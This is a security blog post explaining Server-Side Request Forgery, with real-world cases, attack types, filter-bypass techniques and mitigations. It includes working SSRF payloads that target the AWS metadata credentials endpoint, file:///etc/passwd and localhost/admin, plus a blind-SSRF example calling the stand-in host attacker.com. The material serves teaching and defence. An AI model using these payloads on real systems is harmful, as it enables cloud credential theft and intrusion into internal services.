Nov 15, 2024 Information hub
Server-Side Request Forgery (SSRF): Threats and Mitigation
Server-Side Request Forgery (SSRF) has become one of the most dangerous vulnerabilities in modern web applications. It allows attackers to trick a vulnerable server into making unauthorized or malicious requests on its behalf, leading to a range of serious consequences. In this blog, we’ll dive deep into SSRF, understand how it works, explore real-world examples, and provide actionable mitigation strategies.
SSRF has gained prominence due to its ability to exploit the trust a server places in its internal network and resources. Modern infrastructure, especially cloud environments, is particularly vulnerable to SSRF because of how services interact internally. The rise in cloud-native applications and microservices architecture has only increased the potential attack surface for Server-Side Request Forgery.
What is SSRF?
At a high level, Server-Side Request Forgery allows an attacker to craft input that causes a server to make requests to unintended destinations. Unlike Cross-Site Scripting (XSS) or Cross-Site Request Forgery (CSRF), which involve client-side browsers, SSRF focuses on manipulating server-side interactions.
SSRF usually exploits a web application that fetches or sends data based on user-supplied URLs or IP addresses. An attacker can craft malicious URLs that trick the server into requesting sensitive internal services, such as databases, cloud metadata, or internal APIs.
The Flow of a Typical SSRF Attack
- User Input Manipulation: An attacker submits a malicious input (e.g., a URL).
- Server-Side Request: The application sends a request using the manipulated input.
- Unintended Target: The server connects to an unintended internal or external service.
- Response Handling: The server processes the response, which could expose sensitive data or allow further attacks.
Key Attack Surfaces for SSRF
- Internal Network Services: Attackers can gain access to internal services that should not be exposed to the public internet.
- Cloud Metadata Services: In cloud environments, metadata services like AWS, GCP, or Azure often expose sensitive information, such as IAM credentials.
- Private IP Ranges: IP ranges like 127.0.0.1, 10.0.0.0/8, and 192.168.0.0/16 are often targeted to explore internal services.
- External Service Exploitation: Attackers might use SSRF to make a server initiate attacks against third-party services, framing the server as the attacker.
Real-World Example of SSRF Exploitation
A real-world SSRF example occurred with Synology’s DiskStation Manager (DSM) services. We found vulnerabilities that could be leveraged by attackers to exploit internal systems via SSRF.
Synology SSRF Vulnerability Example:
Affected Component: An image upload feature in Synology DSM.
Description: The upload endpoint allowed user-provided URLs, which the application used to fetch images for further processing. Due to improper input validation, attackers could craft requests to the internal metadata service.
| POST /upload/image
Content-Type: application/json { “imageUrl”: “http://169.254.169.254/latest/meta-data” } |
This payload tricked the server into requesting AWS EC2 instance metadata, leaking sensitive cloud information such as IAM roles and temporary credentials.
Impact: Attackers could access internal AWS services using temporary credentials obtained through the metadata service, leading to potential privilege escalation within the cloud infrastructure.
Real-World Example of Capital One Breach
The 2019 Capital One data breach is a textbook example of how SSRF can lead to catastrophic outcomes. The attacker exploited a misconfigured WAF (Web Application Firewall) that allowed SSRF, gaining access to sensitive metadata within AWS, which eventually led to the extraction of millions of customer records.
This case highlights the importance of securing cloud environments, particularly services that expose metadata APIs, which are a prime target for SSRF exploitation.
Types of SSRF Attacks
1. Basic SSRF
Basic SSRF occurs when attackers control the destination of a server’s outbound request. This could be to internal or external resources, allowing access to sensitive data or systems.
Example:
| {
“url”: “http://localhost/admin” } |
Here when we try to browse to /admin on this website, then we can’t directly access the admin page.
In this website there Is a function to “check stock” and when we observe closely it making web request.
So, Here we change ‘stockApi’ parameter to “http://localhost/admin”. This displays the admin page content.
If the web application doesn’t validate user input properly, the server could request its own internal admin panel, leaking sensitive data to the attacker.
2. Blind SSRF
In blind SSRF, attackers do not receive the actual response from the server. However, they can infer information from the server’s behaviour, such as DNS lookups, HTTP response codes, or timing delays. The most reliable way to detect blind SSRF vulnerability is using Out-of-band techniques. This involves attempting to trigger an HTTP request to an external system that you control, and monitoring for network interactions with that system.
The easiest and most effective way to use out-of-band techniques is using Burp Collaborator. You can use Burp Collaborator to generate unique domain names, send these in payloads to the application, and monitor for any interaction with those domains. If an incoming HTTP request is observed coming from the application, then it is vulnerable to SSRF.
Example: DNS resolution is a common method used in blind SSRF:
| {
“url”: “http://attacker.com?lookup=169.254.169.254” } |
We observed that this site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
So, we use burp collaborator to create public burp collaborator site and pasted hat link in Referer header. When we make request to website then due to SSRF vulnerability it will cause an HTTP request to the public Burp Collaborator server also.
After sending the request go to Burp Collaborator tab and click on poll now to get DNS and HTTP interaction result.
Even without a direct response, an attacker could monitor DNS requests or network traffic to detect internal service interactions.
3. SSRF to RCE (Remote Code Execution)
SSRF can lead to remote code execution when exploited in combination with other vulnerabilities. For example, exploiting weak deserialization or command injection flaws could allow an attacker to execute arbitrary commands on the server.
Example: An SSRF vulnerability could be used to send a payload to an internal service that has a deserialization flaw:
| {
“url”: “http://internal-service/deserialize?data=malicious_payload” } |
If the internal service is vulnerable, it could lead to arbitrary code execution on the server.
Advanced SSRF Exploitation: Bypassing Security Filters
While some SSRF attacks are straightforward, modern applications often employ security filters to prevent direct access to sensitive resources. However, attackers can use several techniques to bypass these protections:
1. DNS Rebinding
DNS rebinding can be used to bypass domain restrictions by making the server resolve a whitelisted domain name that eventually points to an internal IP address.
Attack Flow:
The attacker registers a domain name that initially resolves to an external IP.
Once the domain passes validation and is accepted by the server, the attacker changes the DNS resolution to point to an internal IP (e.g., 127.0.0.1).
2. URL Schemes
Many applications only check for certain URL schemes like http or https. Attackers can use alternate schemes like file:// or gopher:// to bypass these restrictions and access local files or services.
Example:
| {
“url”: “file:///etc/passwd” } |
This could trick the server into reading sensitive local files, depending on how the application processes URLs.
3. Open Redirects
Open redirects in the target application can be combined with SSRF. The attacker sends a request to an open redirect, which in turn forwards the request to a sensitive internal resource.
Example:
| {
“url”: “http://example.com/redirect?url=http://169.254.169.254/latest/meta-data” } |
The server will first request http://example.com/redirect, which forwards the request to the internal metadata service.
Cloud Infrastructure and SSRF: Targeting Metadata Services
One of the most impactful areas where SSRF shines is in cloud environments. Cloud providers like AWS, GCP, and Azure expose metadata services that hold critical instance information, such as configuration data and IAM credentials.
AWS Metadata Service Example
In AWS, the metadata service is available at the IP 169.254.169.254, and it exposes critical information like the instance’s IAM role.
SSRF Payload:
| {
“url”: “http://169.254.169.254/latest/meta-data/iam/security-credentials” } |
Impact: An attacker can retrieve the instance’s IAM role and use it to access other AWS services with the same privileges as the compromised instance, potentially leading to data exfiltration or privilege escalation.
SSRF Detection and Tools
Several tools and techniques can help identify SSRF vulnerabilities in your applications:
Burp Suite: A widely used tool for web security testing that can help intercept and manipulate requests to identify SSRF vulnerabilities.
OWASP ZAP: A powerful open-source web application scanner that can be used to identify SSRF vulnerabilities during automated testing.
SSRFmap: A dedicated SSRF exploitation tool that automates SSRF discovery and exploitation by mapping input fields to potential SSRF endpoints.
Mitigation Strategies for SSRF
SSRF vulnerabilities can be mitigated by adopting a multi-layered approach. Here’s how:
1. Input Validation
Whitelist Validation: Allow only specific domains or IP addresses to be accessed by the application.
Block Private IP Ranges: Disallow access to private IP addresses such as 127.0.0.1 or 10.0.0.0/8.
2. Use of Firewalls
Egress Filtering: Control outbound traffic from your server, ensuring that it only communicates with approved external services.
Application Firewalls: Use WAF (Web Application Firewall) solutions to detect and block common SSRF payloads.
3. Metadata Service Protection
Metadata v2 (AWS): Use the latest version of the metadata service that requires session tokens to access sensitive instance data.
Disable Unnecessary Features: If the application doesn’t need to access remote resources, disable this functionality entirely.
4. Secure Code Practices
Avoid Direct URL Fetching: Whenever possible, avoid letting user-supplied URLs trigger server-side requests.
Authentication for Internal Services: Ensure that internal services require proper authentication and authorization, even when accessed from within the local network.
Conclusion
SSRF represents a significant threat to modern web applications, especially those deployed in cloud environments. It allows attackers to pivot into internal systems, gain access to sensitive information, and even escalate their privileges. Organizations must take a proactive approach by implementing robust input validation, segmenting networks, using metadata APIs cautiously, deploying well-configured WAFs, using egress filtering, and securing their cloud infrastructure organizations can significantly reduce the risk of SSRF attacks.
By understanding how SSRF works and staying vigilant against potential attack vectors, organizations can significantly reduce their attack surface and protect their critical assets from exploitation.
In summary, SSRF is not just a theoretical vulnerability—it’s a real-world threat with the potential for devastating impacts. Developers, system architects, and security teams need to be proactive in defending against it, as attackers are continually evolving their methods to exploit these flaws.
